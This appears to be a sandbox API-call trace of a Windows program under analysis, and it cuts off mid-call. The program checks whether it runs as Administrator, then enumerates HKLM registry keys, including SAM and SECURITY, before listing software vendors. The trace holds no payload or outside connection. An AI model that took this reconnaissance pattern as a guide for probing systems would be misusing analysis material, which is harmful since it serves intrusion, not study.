0x2260f78 [0139.873] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x2c) returned 0x226b828 [0139.880] GetVersionExW (in: lpVersionInformation=0x20f624*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x20f624*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0139.880] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x20f60c | out: Wow64Process=0x20f60c) returned 1 [0139.880] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x20f5e8 | out: TokenHandle=0x20f5e8*=0xa0) returned 1 [0139.881] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x20f5e4 | out: TokenInformation=0x0, ReturnLength=0x20f5e4) returned 0 [0139.881] GetLastError () returned 0x7a [0139.881] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x140) returned 0x226b860 [0139.881] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x226b860, TokenInformationLength=0x118, ReturnLength=0x20f5e4 | out: TokenInformation=0x226b860, ReturnLength=0x20f5e4) returned 1 [0139.881] AllocateAndInitializeSid (in: pIdentifierAuthority=0x20f5f4, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x20f5ec | out: pSid=0x20f5ec*=0x392900*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0139.881] EqualSid (pSid1=0x392900*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x226b8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0139.881] EqualSid (pSid1=0x392900*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x226b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0139.881] EqualSid (pSid1=0x392900*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x226b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0139.881] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226b860) returned 1 [0139.881] NtClose (Handle=0xa0) returned 0x0 [0139.881] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226b860 [0139.884] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226b8a8 [0139.885] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x280) returned 0x226b930 [0139.886] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0139.896] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x226b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0139.896] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0139.897] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bc58 [0139.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x226bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0139.897] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bca0 [0139.897] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bc58) returned 1 [0139.897] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bca0) returned 1 [0139.897] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.897] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x226b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0139.897] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0139.897] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bca0 [0139.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x226bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0139.897] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bc58 [0139.897] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bca0) returned 1 [0139.897] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bc58) returned 1 [0139.897] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.897] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x226b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0139.897] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.897] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bc58 [0139.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x226bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bca0 [0139.898] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bc58) returned 1 [0139.898] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bca0) returned 1 [0139.898] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.898] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x226b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bca0 [0139.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x226bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bc58 [0139.898] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bca0) returned 1 [0139.898] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bc58) returned 1 [0139.898] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.898] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x226b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bc58 [0139.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x226bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bca0 [0139.898] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bc58) returned 1 [0139.898] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bca0) returned 1 [0139.898] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.898] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f57c | out: phkResult=0x20f57c*=0xa0) returned 0x0 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x184) returned 0x226d040 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bca0 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bc58 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bce8 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bd30 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bd78 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bdc0 [0139.898] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226be08 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226be50 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226be98 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bee0 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bf28 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bf70 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226bfb8 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c000 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c048 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c090 [0139.899] RegCloseKey (hKey=0x80000002) returned 0x0 [0139.899] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x226b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x226c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.899] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.899] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.899] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.899] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x226b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.899] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.899] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.899] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.899] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x226b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x226c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0139.899] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.899] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.899] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.900] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x226b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.900] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x226b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x226c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.900] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x226b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.900] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x226b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x226c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0139.900] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.900] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.901] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f57c | out: phkResult=0x20f57c*=0x24) returned 0x0 [0139.901] RegCloseKey (hKey=0xa0) returned 0x0 [0139.901] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x226b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x226c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.901] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x226b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x226c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.901] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x226b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.901] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x226b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0139.901] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0139.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x226c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0139.902] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bbb8) returned 1 [0139.902] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x226b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0139.902] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226bbb8 [0139.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 